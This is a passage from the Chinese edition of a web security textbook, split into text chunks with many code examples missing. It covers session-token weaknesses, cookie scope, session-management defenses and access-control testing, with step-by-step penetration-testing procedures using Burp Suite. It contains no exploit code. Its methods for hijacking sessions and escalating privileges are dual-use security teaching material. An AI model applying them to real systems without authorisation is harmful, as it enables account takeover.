最简单的漏洞是允许给同一个用户账户同时分配几个有效的令牌。在几乎每一个应用程序中，任何用户都没有正当理由在任何指定的时间拥有多个会话。当然，用户可以终止一个处于活动状态的会话，再开始一个新会话，这很常见，例如，关闭浏览器窗口或转换到另一台计算机上。但是，如果一名用户明显同时在使用两个不同的会话，这通常表示出现了安全问题：要么是因为用户将证书泄露给了第三方，要么是攻击者通过其他某种途径获得了他的证书。无论发生哪一种情况，都不应允许并行会话，因为它允许用户持续执行任何非法操作，同时允许攻击者使用截获的证书，却不存在被检测出来的风险。 应用程序使用“静态”令牌是一种相对较为特殊的缺陷。这些“令牌”看似会话令牌，最初表现的功能和会话令牌一样，但实际并非如此。在这些应用程序中，每名用户都分配有一个令牌，并且用户每次登录，都收到相同的令牌。无论用户是否已经登录并获得令牌，应用程序都应将该令牌视为有效令牌。这种应用程序实际上是对会话的整体概念以及这样做有助于管理和控制应用程序访问存有误解。有些时候，应用程序这样运作，是为了执行设计上存在缺陷的“记住我”功能，并因此将静态令牌保存在一个持久性cookie中（请参阅第6章了解相关内容）。有时，令牌本身易于受到预测攻击，致使这种漏洞造成更加严重的后果，因为一次成功的攻击不仅能够攻破当前登录用户的会话，如果时间允许，还能攻破所有注册用户的账户。 我们偶尔也会观察到应用程序表现出其他奇怪的行为，表明令牌和会话之间的对应关系存在基本的缺陷。根据用户名和一个随机成分构造的有意义令牌就是一个典型的示例。以下面的令牌为例： 对其进行Base64编码，得到： 对成分r1进行仔细分析后，我们可以得出结论：根据样本值无法对其进行预测。然而，如果应用程序的会话处理逻辑存在缺陷，可能攻击者只需向r1和user提交任何有效的值，就可以在指定用户的权限下访问一个会话。从本质上讲，这是一个访问控制漏洞，因为应用程序是根据用户在会话之外提交的数据做出的访问决定（请参阅第8章了解相关内容）。产生这种漏洞是因为应用程序使用会话令牌表明请求者已经与应用程序建立某种有效的会话；然而，处理会话的用户权限并不由会话控制，而是通过其他方式根据每个请求决定。在这种情况下，请求者直接控制决定用户权限的方式。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）用相同的用户账户从不同的浏览器进程或从不同的计算机两次登录应用程序。确定这两个会话是否都处于活动状态。如果是，表示应用程序支持并行会话，这样攻破其他用户证书的攻击者能够利用这些证书，而不会有被检测出来的风险。 （2）用相同的用户账户从不同的浏览器进程或从不同的计算机几次登录和退出应用程序。确定应用程序在每次登录时是发布一个新会话令牌，还是发布相同的令牌。如果每次发布相同的令牌，那么应用程序根本没有正确使用令牌。 （3）如果令牌明显包含某种结构和意义，设法将标识用户身份的成分与无法辨别的成分区分开来。尝试修改所有与用户有关的令牌成分，使其指向其他已知的应用程序用户，确定修改后的令牌是否被应用程序接受，以及是否能够让攻击者伪装成那名用户。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/382/ http://mdsec.net/auth/385/ 7.3.4 会话终止易受攻击 由于两方面的原因，正确终止会话非常重要。首先，尽可能缩短一个会话的寿命可降低攻击者截获、猜测或滥用有效会话令牌的可能性。其次，如果用户不再需要现有会话，终止会话为用户提供一种使其失效的途径，在进一步降低上述可能性的同时，在某种程度上确保共享计算环境中会话的安全。会话终止功能的主要缺陷大都与无法满足这两个关键目标有关。 一些应用程序并不实施有效的会话终止功能。会话一旦建立，它在收到最后请求后的许多天内也仍然有效，直到服务器最终将其清除。即使令牌存在某种非常难以利用的缺陷（例如，确定每个有效令牌需要100 000次猜测），攻击者仍然能够截获最近访问应用程序的每一名用户的令牌。 一些应用程序并不提供有效的退出功能。 有些时候，应用程序根本不执行退出功能。用户没有办法要求应用程序终止他们的会话。 有些时候，退出功能实际上并不能帮助服务器终止会话。即使服务器从用户的浏览器中删除令牌（例如，通过发布一个清空令牌的Set-Cookie指令）。然而，如果用户继续提交这个令牌，服务器仍然接受它。 最糟糕的情况：当用户单击“退出”按钮时，应用程序并不与服务器通信，因此服务器不采取任何行动。相反，应用程序执行一段客户端脚本清空用户的cookie，在随后的请求中将用户返回到登录页面。访问这个cookie的攻击者就能使用会话，好像用户从未退出一样。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）不要掉入检查应用程序对客户端令牌执行的操作（如通过一个新的Set-Cookie指令、客户端脚本或者终止时间属性令cookie失效）的陷阱。在客户端浏览器内对令牌执行的任何操作并不能终止会话。相反，调查服务器端是否执行会话终止操作。 （a）登录应用程序获得一个有效令牌。 （b）不使用这个令牌，等待一段时间后，使用这个令牌提交一个访问受保护页面（如“我的资料”页面）的请求。 （c）如果该页面正常显示，表示令牌仍然处于活动状态。 （d）使用反复试验的方法确定会话终止超时时间，或者一个令牌在最后一次使用它提交请求几天后是否仍被使用。可配置Burp IntruderM增连续请求之间的时间间隔，自动完成这项任务。 （2）确定是否存在退出功能，用户是否能够使用这一功能。如果不能，表示用户更易于受到攻击，因为他们没有办法让应用程序终止会话。 （3）如果应用程序提供退出功能，测试其效率。退出后，尝试重新使用原有的令牌，确定其是否仍然有效。如果令牌仍然有效，那么即使用户已经“退出”，也依然易于受到会话劫持攻击。可以使用Burp Suite测试此功能的效率，具体操作如下：从代理服务器历史记录中选择一个依赖会话的最近请求，在从应用程序中注销后将其发送给Burp Repeater重新发布该请求。 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/423/ http://mdsec.net/auth/439/ http://mdsec.net/auth/447/ http://mdsec.net/auth/452/ http://mdsec.net/auth/457/ 7.3.5 客户端暴露在令牌劫持风险之中 攻击者可以采用各种方法向应用程序的其他用户发动攻击，试图截获或滥用他们的会话令牌。 攻击者可通过跨站点脚本攻击查询用户的cookie，获得他们的会话令牌，然后将其传送至自己控制的任意服务器。第12章将详细介绍这种攻击。 攻击者可以使用其他针对用户的攻击，以不同的方式劫持用户的会话。这包括实施会话固定攻击，即攻击者向一名用户发送一个已知的会话令牌，等待他登录，然后劫持他的会话；以及跨站点请求伪造攻击，其中攻击者从他控制的一个Web站点向应用程序提出一个专门设计的请求，由于用户的浏览器会随同这个请求一起自动提交用户当前的cookie，攻击者因此会获得用户的cookie。这些攻击也请参阅第12章的介绍。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）确定应用程序中存在的任何跨站点脚本漏洞，看是否可以利用这些漏洞截获其他用户的会话令牌（请参阅第12章了解相关内容）。"},
    {"text": "（3）即使应用程序并不向未通过验证的用户发布会话令牌，仍然会通过登录获得一个令牌，然后返回登录页面。 如果应用程序“愿意”返回这个页面，即使攻击者已经通过验证，那么也可以使用相同的令牌以另一名用户的身份提交另一次登录。"},
    {"text": "（5）如果应用程序并不支持登录功能，但处理敏感数据（如个人信息和支付细节），并在提交后显示这些信息（如在“确认订单”页面上），那么使用前面的三种测试方法尝试访问显示敏感数据的页面。"},
    {"text": "7.3.6 宽泛的cookie范围 cookie的工作机制可简单概括如下：服务器使用HTTP响应消息头Set-cookie发布一个cookie，然后浏览器在随后的请求中使用Cookie消息头向同一台服务器重新提交这个cookie。"},
    {"text": "1．cookie域限制 位于foo.wahh-app.com的应用程序建立一个cookie后，浏览器会默认在随后的所有请求中将 cookie 重新提交到 foo.wahh-app.com 及任何子域（如 admin.foo.wahh-app.com）中。 它不会将cookie提交给其他任何域，包括父域wahh-app. com和父域的其他任何子域，如bar.wahh-app.com。"},
    {"text": "例如，假设位于foo.wahh-app.com的应用程序返回以下HTTP消息头： 浏览器会将这个cookie重新提交给wahh-app.com的所有子域，包括bar.wahh-app.com。"},
    {"text": "每名用户都可以创建自己的博客，通过以用户名为前缀的一个新的子域进行访问，例如： 因为cookie被自动重新提交到这个范围内的每一个子域，当一名已经登录的用户浏览其他用户的博客时，他的会话令牌将与其请求一起提交。"},
    {"text": "如果允许博客作者在他们自己的博客中插入任意JavaScript脚本（就像现在的许多博客应用程序那样），那么一个恶意博客作者就能够以和保存型跨站点脚本攻击一样的方式窃取其他用户的会话令牌（请参阅第12章了解相关内容）。"},
    {"text": "例如，假设一个安全性至关重要的应用程序位于域sensitiveapp.wahh-organization.com上，当它建立cookie时，它自由设置的域范围如下： 这样做造成的后果是：当用户访问wahh-organization.com使用的每一个子域时，机密应用程序的会话令牌cookie都将被提交。 这些子域包括： 虽然这些应用程序可能全都属于拥有机密应用程序的同一组织，但由于以下原因，不应将敏感应用程序的cookie提交给其他应用程序。"},
    {"text": "其他应用程序可能并不像机密应用程序那样遵循同样严格的安全标准，或者接受全面的安全测试（因为它们不够重要、并不处理敏感数据，或者仅为测试目的而建立）。"},
    {"text": "应用程序中存在的许多漏洞（例如跨站点脚本漏洞）可能不会影响它们的安全状况，但外部攻击者却可以利用一个不安全的应用程序截获由机密应用程序创建的会话令牌。"},
    {"text": "如果某个应用程序与另一个不可信的应用程序共享主机名，并依赖协议或端口号中的差异来隔离自身，那么，攻击者通过处理cookie即可轻而易举地破坏这种隔离。 该应用程序发布的任何cookie都可被与它共享主机名的不可信应用程序访问。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 审查应用程序发布的所有cookie，检查用于控制cookie范围的任何domain属性。 （1）如果应用程序将cookie范围明确放宽到父域，则该应用程序可能易于受到通过其他Web应用程序实施的攻击。 （2）如果应用程序将它的cookie范围设置为自己的域名（或者并未指定domain属性），则通过它的子域仍然可以访问其中的应用程序或功能。 确定将收到应用程序发布的cookie的所有可能的域名。如果通过这些域名可以访问任何其他Web应用程序或功能，确定是否可以利用它们获得目标应用程序的用户发布的cookie。 2．cookie路径限制 位于/apps/secure/foo-app/index.jsp的应用程序建立一个cookie后，浏览器会默认在随后的所有请求中将cookie重新提交到路径/apps/secure/foo-app/及任何子目录。它不会将cookie提交到父目录或服务器上的其他任何目录路径。 与cookie范围域限制一样，服务器可以在Set-cookie指令中插入一个path属性，改变这种默认行为。例如，如果应用程序返回以下HTTP消息头： 那么浏览器会将这个cookie重新返回到/apps/路径的所有子目录中。 相比于基于域的cookie范围，这种基于路径的限制比同源策略更加严格。因此，如果将其作为一种安全机制，用于防范同一域中的不可信应用程序，则这种防御机制几乎完全无效。在某个路径上运行的客户端代码能够打开指向同一域上不同路径的窗口或iframe，并能够读取或写入该窗口，而不受任何限制。因此，获取范围为同一域上的其他路径的cookie实际上并不困难。有关更多详情，请参阅以下Amit Klein撰写的论文："},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 7.4 保障会话管理的安全 鉴于会话管理机制主要受两类漏洞的影响，Web应用程序必须采取相应的防御措施，防止这些机制受到攻击。"},
    {"text": "7.4.1 生成强大的令牌 用于在连续请求中重新标识用户身份的令牌，在其生成过程中，不应给攻击者提供任何机会，使其能够以常规方式预测或推断发布给其他用户的令牌，从而从应用程序中获得大量的令牌样本。"},
    {"text": "设计强大的令牌生成机制的目的在于：即使蓄意破坏的攻击者拥有大量带宽和处理资源，他也绝无可能在令牌的有效期限内，成功猜测出任何一个有效的令牌。"},
    {"text": "和java.util.Random一样，一些随机源非常适用于各种需要不断变化的输入源的情况，但只需根据唯一一个输出项就可以准确地推断出它的前后随机数。"},
    {"text": "注解 由于一些高强度的随机源必须采取步骤获得足够的熵（如从系统事件中等），它们需要一段时间才能返回输入序列中的下一个值，因此可能无法为一些大容量的应用程序迅速建立随机数以生成令牌。"},
    {"text": "合并这个熵的最有效公式是建立一个特殊的字符串，连接一个伪随机数、一串上面列出的与请求有关的数据以及一个仅服务器知道并在每次重启时重新生成的机密字符串。"},
    {"text": "7.4.2 在整个生命周期保障令牌的安全 建立一个无法预测值的安全令牌后，就必须在这个令牌生成到废止的整个生命周期中保障它的安全，确保不会将其泄露给除令牌用户以外的其他任何人。"},
    {"text": "如果可能，应对每个应用程序页面使用HTTPS，包括静态内容（如帮助页面、图像等）。 如果没有可能，并且仍然采用HTTP服务，那么应用程序应将任何访问敏感内容（包括登录页面）的请求重定向到HTTPS服务。"},
    {"text": "每次一名用户登录，都应发布一个新会话令牌，同时废止任何属于该用户的现有会话，就好像他已经退出应用程序一样。 如果旧令牌被保存一段时间，那么随后收到任何使用该令牌提出的请求，都应向用户发出安全警报，告诉他们会话已被终止，因为他已经从其他位置登录。"},
    {"text": "如果应用程序包含任何可以查看会话令牌的管理或诊断功能，应对这种功能加以严密保护，以防止未授权的访问。 许多时候，这种功能根本没有必要显示会话令牌，相反，它应提供足够的与会话所有者有关的信息，以便于执行任何支持和诊断任务。"},
    {"text": "范围过于宽泛的cookie通常是由配置不佳的Web应用程序平台或Web服务器生成的，而不是由应用程序开发者本人生成的。 通过应用程序cookie范围中的域名或URL路径，应无法访问其他Web应用程序或不可信的功 能。"},
    {"text": "一种可能的解决办法是使提交敏感数据的页面序列尽可能短，并且在这个序列的第一个页面建立一个新的会话（如有必要，从现有会话中复制任何需要的数据，如购物车的内容），或者使用每页面令牌（参阅下一节）防止知道第一个页面所使用的令牌的攻击者访问随后的页面。"},
    {"text": "即使有必要（如显示地址的“确认订单”页面），也不得向用户显示信用卡号码和密码之类的敏感数据，并且应在应用程序的响应中隐藏这些数据。"},
    {"text": "每页面令牌 应在会话令牌的基础上使用每页面令牌，对会话实施更加严格的控制，更有效地防御或阻断各种会话攻击。 使用每页面令牌时，每次用户请求一个应用程序页面（例如，不是图像），应用程序都会建立一个新的页面令牌，并通过cookie或HTML表单隐藏字段将其传送给客户端。 用户每次提出一个请求，除通过主会话令牌进行正常确认外，页面令牌还根据最后发布的令牌值进行再次检验。"},
    {"text": "因特网上的许多安全性至关重要的应用程序（如电子银行），都使用每页面令牌来强化对会话令牌机制的保护，如图7-12所示。 图7-12 银行应用程序使用的每页面令牌 虽然使用每页面令牌确实给导航造成一些限制（例如，使用“后退”和“前进”按钮以及多窗口浏览方面），但它能够有效防御会话固定攻击，并确保如果合法用户和攻击者同时使用一个被劫持的会话提出相同的请求，该请求会立即被应用程序终止。 每页面令牌还可用于追踪用户的位置和在应用程序中的活动情况，检测出不按预定顺序访问某些功能的企图，并有助于防止某些访问控制缺陷（请参阅第8章了解相关内容）。"},
    {"text": "7.4.3 日志、监控与警报 应用程序的会话管理功能应与它的日志、监控与警报机制紧密结合，以提供适当的反常行为记录，并帮助管理员在必要时采取防御措施。"},
    {"text": "除非令牌很容易被预测，否则，攻击者就需要提出大量包含无效令牌的请求，才能成功猜测出应用程序发布给其他用户的令牌，从而在应用程序的日志中留下明显的痕迹。"},
    {"text": "然而，如果一个用户的请求来自几个IP地址（如AOL用户），或者几个用户的请求来自同一个IP地址（如执行网络地址转换的代理服务器或防火墙中的用户），这种方法就不能发挥太大的作用。"},
    {"text": "即使无法立即有效防止针对会话的蛮力攻击，但保留详细的日志并向管理员发出警报仍然可帮助他们对攻击进行调查，并尽其所能采取适当的行动。"},
    {"text": "如果收到用户提交的反常请求（例如，任何包含被修改的隐藏HTML表单字段或URL查询字符串参数的请求、任何包含与SQL注入或跨站点脚本攻击有关的字符串请求，以及任何正常情况下已经被长度限制之类的客户端检查阻止的用户输入），那么一些安全性至关重要的应用程序（如电子银行）会极其迅速地终止用户的会话。"},
    {"text": "但是，迫使用户每次提交一个无效请求时都需要进行重新验证，这会显著延长探查应用程序漏洞所需的时间，即使采用自动技巧完成这一任务也是如此。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 如果所攻击的应用程序使用这种防御机制，渗透测试员可能发现在应用程序中探查各种常见的漏洞非常费时，每次测试失败后都需要再次登录并重新导航到正在分析的位置，因此不久后就会主动放弃攻击。 这种烦恼可以使用自动工具来解除。当使用Burp Intruder发动攻击时，可以使用“获取cookie”（Obtain Cookie）特性在每次测试前重新登录，并使用新的会话令牌（只要应用程序采用单阶段登录机制）。当手动浏览和探查应用程序时，可以通过IBurpExtender接口使用Burp Proxy的扩展性特性。渗透测试员可以建立一个扩展，检测应用程序何时执行强制退出、自动登录到应用程序并将新会话和页面返回给浏览器，同时选择使用弹出消息通知所发生的一切。虽然使用这种方法并不能完全解决这个问题，但在某些情况下能显著减轻它造成的影响。 黑客攻防技术宝典：Web实战篇（第2版） 7.5 小结 攻击者在攻击应用程序时，会话管理机制中存在的诸多漏洞为他们提供了大量的攻击目标。鉴于其在多个请求中确定相同用户身份过程中所发挥的重要作用，不完善的会话管理功能通常会成为攻击者“进入应用程序王国的钥匙”。对攻击者来说，进入其他用户的会话当然不错，但劫持管理员的会话会更好，因为这样他往往能够攻破整个应用程序。 现实世界的会话管理功能中往往存在各种各样的缺陷。当应用程序采用定制机制时，其中可能会存在各种薄弱环节，并有无数种攻击方法可供攻击者利用。耐心与坚持不懈是我们从中汲取到的最重要的教训。许多会话管理机制初看起来似乎安全可靠，但仔细分析后却发现它们并不合格。解译应用程序如何生成看似随机的令牌序列，这个过程既费时又费力。但由于这样做通常可获得巨大的回报，因而值得为之花费时间和精力。 黑客攻防技术宝典：Web实战篇（第2版） 7.6 问题 欲知问题答案，请访问http://mdsec.net/wahh。 （1）登录一个应用程序后，服务器建立以下cookie： 一个小时后，再次登录并得到以下cookie： 通过这些cookie，可以得出什么推论？ （2）某个应用程序使用由6个字符组成的数字字母会话令牌和由5个字符组成的数字字母密码。它们全都由某种无法预测的算法随机生成。其中哪一个最有可能成为蛮力猜测攻击的目标？列出影响你做出决策的各种不同因素。 （3）登录位于以下URL的一个应用程序： 服务器建立以下cookie： 然后访问下面的URL。浏览器会将sessionId cookie提交给哪些URL?（选出全部答案。） （a）https://foo.wahh-app.com/login/myaccount.php （b）https://bar.wahh-app.com/login （c）https://staging.foo.wahh-app.com/login/home.php （d）http://foo.wahh-app.com/login/myaccount.php （e）http://foo.wahh-app.com/logintest/login.php （f）https://foo.wahh-app.com/logout （g）https://wahh-app.com/login/ （h）https://xfoo.wahh-app.com/login/myaccount.php （4）所针对的应用程序除使用主会话令牌外，还使用每页面令牌。如果收到一个不按顺序发送的每页面令牌，整个会话将被终止。假设发现了某种缺陷，可通过它预测或截获应用程序发布给当前正在访问应用程序的其他用户的令牌。那么能够劫持他们的会话吗？ （5）登录一个应用程序后，服务器建立以下cookie： 单击“退出”按钮后，应用程序执行以下客户端脚本： 通过这种行为，可以得出什么结论？ [1] 在信息论中，熵（entropy）可用作某事件不确定度的量度。信息量越大，体系结构越规则，功能越完善，熵就越小。——译者注 [2] 雪崩效应，加密算法的一种特征，指明文或密钥的少量变化会引起密文的很大变化。——译者注"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 第8章 攻击访问控制 从 逻辑上讲，应用程序核心安全机制的访问控制建立在验证和会话管理之上。到现在为止，我们已经了解了应用程序如何首先核实用户的身份，然后确认它收到的某个特殊的请求序列由该用户提出。应用程序之所以需要这样做，至少从安全上讲，是因为它必须决定是否允许某个请求执行特定的操作或访问它请求的资源。访问控制是应用程序的一个重要防御机制，因为它们负责做出这些关键决定。如果访问控制存在缺陷，攻击者往往能够攻破整个应用程序，控制其管理功能并访问属于其他用户的敏感数据。 如第1章所述，不完善的访问控制中最常见的Web应用程序漏洞，影响了我们最近测试的71%的应用程序。我们发现应用程序做出一切努力执行稳定的验证与会话管理机制，但由于没有在它们上面建立任何有效的访问控制，因而浪费了这方面的投资，这种情况非常常见。这些漏洞如此普遍的一个原因在于，需要对每一个请求，以及特殊用户在特定时刻尝试对资源执行的每一项操作执行访问控制检查。而且，与许多其他类型的控制不同，这一设计决策需要由人做出，而无法采用技术来解决。 访问控制漏洞的概念非常简单：应用程序允许攻击者执行某种攻击者没有资格执行的操作。各种漏洞之间的差异实际上可归结为这些核心漏洞表现方式上的不同，以及检测它们所需要使用的技巧之间的差异。我们将描述所有这些技巧，讨论如何利用应用程序的各种不同行为，执行未授权操作并访问受保护的数据。"},
    {"text": "在更加复杂的情况下，垂直访问控制可能需要界定允许其访问特殊功能的各种不同类型的用户，给每个用户分配一个单独的角色，或一组不同的角色。"},
    {"text": "上下文相关的访问控制可确保基于应用程序当前的状态，将用户访问仅限于所允许的内容。 例如，如果在某个过程中，用户需要完成多个阶段的操作，上下文相关的访问控制可以防止用户不按规定的顺序访问这些阶段。"},
    {"text": "例如，如果用户能使用Web邮件应用程序阅读他人的电子邮件，或者如果一位会计文员可以处理自己所属组织单元以外的单元的发票，那么访问控制也不完善。"},
    {"text": "在我们已经描述的示例中，不完善的访问控制使获得某种用户权限的攻击者能够执行未授权操作或访问未授权数据。 但是，在最严重的情况下，不完善的访问控制可能允许完全未获授权的用户访问只有特权用户才能访问的功能或数据。 8.1.1 完全不受保护的功能 在许多的访问控制不完善情况下，敏感功能和数据可被任何知道相关URL的用户访问。 例如，在许多应用程序中，任何人只需访问一个特定的URL就能够完全控制它的管理功能： 在这种情况下，应用程序通常仅实施如下访问控制：以管理员身份登录的用户在他们的用户界面上看到一个该URL的链接，而其他用户则无法看到这个链接。"},
    {"text": "有时候，允许用户访问强大功能的URL可能很难猜测，甚至可能相当隐秘，例如： 这种情况下，开发者假设攻击者无法知道或发现这个URL，管理功能就会因此受到保护。"},
    {"text": "一般情况下，用户只需要能够访问某些特定的方法，但他们却拥有访问所有方法的权限。 出现这种情况，或者是因为开发者并不了解用户到底需要哪些方法，因而向他们提供所有方法的访问权限； 或者是因为将用户映射到HTTP服务器的API默认提供访问所有方法的权限。"},
    {"text": "以下示例显示了如何从接口securityCheck中调用getCurrentUserRoles方法： 在此示例中，除了测试对getCurrentUserRoles方法的访问控制外，还应检查是否存在其他类似命名的方法，如getAllUserRoles、getAllRoles、getAllUsers和getCurrentUserPermissions。"},
    {"text": "8.1.2 基于标识符的功能 当应用程序使用一项功能访问某个特殊的资源时，被请求资源的标识符常常以请求参数的形式、在URL查询字符串或POST请求主体中提交给服务器。"},
    {"text": "例如，应用程序可能使用下面的URL显示一份属于某个用户的特殊文档： 拥有这份文档的用户登录后，这个URL的链接将会在该用户的“我的文档”页面显示。"},
    {"text": "提示 应用程序日志通常是一个信息金矿，其中包含大量可被用作标识符的数据项，可利用它们探查通过标识符访问的功能。 应用程序日志中常见的标识符包括：用户名、用户ID、账号、文档ID、用户群组与角色以及电子邮件地址。"},
    {"text": "例如，添加新用户功能可能包括从用户维护菜单中选取这个选项，从下拉列表中选择部门和用户职位，然后输入新用户名、初始密码和其他信息。"},
    {"text": "在前面的示例中，如果一名用户试图加载用户维护菜单并从中选取“添加新用户”选项，应用程序就会核实该用户是否拥有必要的权限，如果用户未获授权，就阻止其进行访问。"},
    {"text": "通过这种方法，任何应用程序用户都能够添加一个新的管理用户账户，因而完全控制整个应用程序，访问许多其他已经实施完善的访问控制的功能。"},
    {"text": "如果可以通过这种方式访问静态资源，那么这些资源很可能没有受到有效的访问控制机制的保护，任何知晓URL命名方案的人都可以利用这种缺陷访问任何所需的资源。"},
    {"text": "某些功能特别容易出现这种问题，包括提供公司年度报表之类静态文档的金融Web站点、提供可下载二进制代码的软件供应商以及通过其访问应用程序中静态日志文件和其他敏感数据的 管理功能。"},
    {"text": "但是，如果应用程序级脚本并不验证针对此功能的所有请求是否使用POST方法，则攻击者就可以通过使用GET方法提交同一请求来避开这种控制。 由于大多数用于检索请求参数的应用程序级API对于请求方法并无限制，因此，攻击者只需要在GET请求的URL查询字符串中提供所需参数，就可以未授权使用上述功能。"},
    {"text": "通常，GET请求可用于执行敏感操作，这或者是因为应用程序本身将GET请求用于这一目的（与规范不符），或者是因为它并不验证是否使用了POST方法。"},
    {"text": "8.1.6 访问控制方法不安全 一些应用程序使用一种极其不安全的访问控制模型，基于客户端提交的请求参数或受攻击者控制的其他条件做出访问控制决定。 1．基于参数的访问控制 在一些这种模型中，应用程序在用户登录时决定用户的角色或访问级别，并在登录后通过隐藏表单字段、cookie或者预先设定的查询字符串参数（参阅第5章了解相关内容）由客户端传送这些信息。"},
    {"text": "但是，如果某名用户提出请求，要求访问某项管理功能，应用程序可能只是检查该请求是否由管理菜单页面提出，如果确实由该页面提出，即认为该用户一定已经访问过那个页面，并因此已经拥有了必要的权限。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 8.2 攻击访问控制 在开始探查应用程序、检测任何实际的访问控制漏洞之前，渗透测试员应该花一些时间检查解析应用程序过程中得到的结果（请参阅第4章了解相关内容），了解应用程序在访问控制方面的实际要求，从而决定探查哪些内容可以得到最令人满意的结果。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 在分析应用程序的访问控制机制时，需要考虑以下问题。 （1）应用程序的功能是否允许用户访问属于他们的特定数据？ （2）是否存在各种级别的用户，如经理、主管、贵宾等，是否允许他们访问不同的功能？ （3）管理员是否使用内置在相同应用程序中、以对其进行配置和监控的功能？ （4）发现应用程序的哪些功能或数据资源最有可能帮助攻击者提升当前的权限？ （5）是否存在任何标识符（以POST消息体的URL参数的方式）表明正使用某一参数追踪访问控制级别？ 8.2.1 使用不同用户账户进行测试 测试应用程序的访问控制效率的最简单、最有效的方法，是使用其他账户访问应用程序。这样你就可以确定，可由一个账户合法访问的资源和功能是否能够由另一个账户非法访问。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）如果应用程序隔离用户对不同级别的功能的访问，可以首先使用一个权限较高的账户确定所有可用的功能，然后使用权限较低的账户访问这些功能，测试能否垂直提升权限。 （2）如果应用程序隔离用户对不同资源（如文档）的访问，可以使用两个不同的用户级账户测试访问控制是否有效，或者是否可以水平提升权限。例如，找到一个一名用户可以合法访问，但另一名用户不能合法访问的文档，然后尝试使用第二名用户的账户访问该文档——通过请求相关URL或在第二名用户的会话中提交同样的POST参数。 对应用程序的访问控制进行彻底测试需要耗费大量时间。幸运的是，一些工具可以帮助你自动完成某些工作，以提高测试速度和可靠性。这样，就可以将主要精力放在那些需要人类智能才能高效执行的任务上。 借助Burp Suite，可以使用两个不同的用户账户来解析应用程序的内容。然后，可以比较每一名用户访问的内容到底存在哪些差异。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）将Burp配置为代理服务器并禁用拦截，以一个用户账户浏览应用程序的所有内容。如果要测试垂直访问控制，则使用权限较高的账户。 （2）检查Burp的站点地图的内容，确保已确定要测试的所有功能。然后使用上下文菜单选择“比较站点地图”（compare site maps）功能。 （3）要选择第二个进行比较的站点地图，可以从Burp状态文件中加载该地图，或让Burp在新会话中动态重新请求第一个站点地图。要测试同一类型的用户之间的水平访问控制，只需加载以前保存的、已将应用程序映射为其他用户的状态文件。要测试垂直访问控制，最好是以低 权限用户身份重新请求高权限站点地图，因为这样可确保完全涵盖相关的功能。 （4）要在不同的会话中重新请求第一个站点地图，需要使用低权限用户会话的详细资料配置Burp的会话处理功能（例如，通过记录一个登录宏或提供要在请求中使用的特定cookie）。我们将在第14章中详细讨论此功能。还可能需要定义适当的范围规则，以防止Burp请求任何注销功能。 图8-1显示了一次简单站点地图比较的结果。其中的深色部分是站点地图之间差异分析的结果，这些部分显示了两个地图之间已添加、删除或修改的项目。对于已修改的项目，该表格提供了一个“diff count”列，其中列出了将第一个地图中的项目修改为第二个地图中的项目所需的编辑次数。而且，如果选中一个项目，其响应也以深色显示，以显示那些编辑在响应中的位置。 图8-1 显示以不同用户账户访问的内容之间的差异的站点地图比较 解释站点地图比较的结果需要一定的智慧，并需要了解特定应用程序功能的意义及用法。例如，图8-1显示了在用户查看主页时返回给每名用户的响应。其中的两个响应显示了针对登录用户的不同说明，而且管理用户拥有一个额外的菜单项。这些差异是预期行为，它们与应用程序访问控制的效率无关，因为它们只与用户界面有关。 用户请求顶级管理页面时返回的响应如图8-2所示。其中显示，管理用户可以看到一个包含可用选项的菜单，而普通用户则看到“未授权”（not authorized）消息。这些差异表明，访问控制已得到正确应用。用户请求“列举用户”（list users）管理功能时返回的响应如图8-3所示。其中显示的两个响应完全相同，这表示应用程序易于受到攻击，因为普通用户不应拥有访问此功能的权限，而且该用户的用户界面中也没有任何指向该功能的链接。 图8-2 低权限用户被禁止访问顶级管理页面 图8-3 低权限用户可以访问用于列举应用程序用户的管理功能 仅仅通过分析站点地图树及查看项目之间的差异数量，并不足以评估应用程序访问控制的效率。出现两个完全相同的响应可能表示存在漏洞（例如，在披露敏感信息的管理功能中），也可能不会导致任何危险（例如，在不受保护的搜索功能中）。相反，两个不同的响应也有可能表示存在漏洞（例如，在每次访问都返回不同内容的管理功能中），也可能不会导致任何危险（例如，在显示当前登录用户的用户信息的页面中）。基于上述原因，在确定访问控制漏洞方面，完全自动化的工具往往效率低下。使用Burp的“站点地图比较”功能，可以尽可能自动完成确定漏洞的过程，以现成的格式获得所需的全部信息，同时应用自己在应用程序功能方面的知识来确定任何具体的漏洞。 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/462/ http://mdsec.net/auth/468/ 8.2.2 测试多阶段过程 上一节介绍的方法——比较通过不同用户账户访问的应用程序内容——无法用于测试某些多阶段过程。在多阶段过程中，要执行某个操作，用户通常需要以正确的顺序提出多个请求，应用程序则在用户提出请求的同时创建有关用户操作的状态。仅仅重新请求站点地图中的每一个项目，并不能正确重复相关过程，因此，由于访问控制以外的其他原因，你尝试的操作可能会失败。 以添加新应用程序用户的管理功能为例。该功能可能涉及几个步骤，包括加载用于添加用户的表单、提交包含新用户详细资料的表单、审查用户详细资料，以及确认添加操作。某些情况下，应用程序可能为会初始表单提供保护，但没有为处理表单提交的页面或确认页面提供保护。整个过程可能包含大量请求（包括重定向），在以前阶段提交的参数将在以后通过客户端重新传送。因此，这个过程的每一个步骤都需要单独进行测试，以确认访问控制是否得到正确应用。 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/471/"},
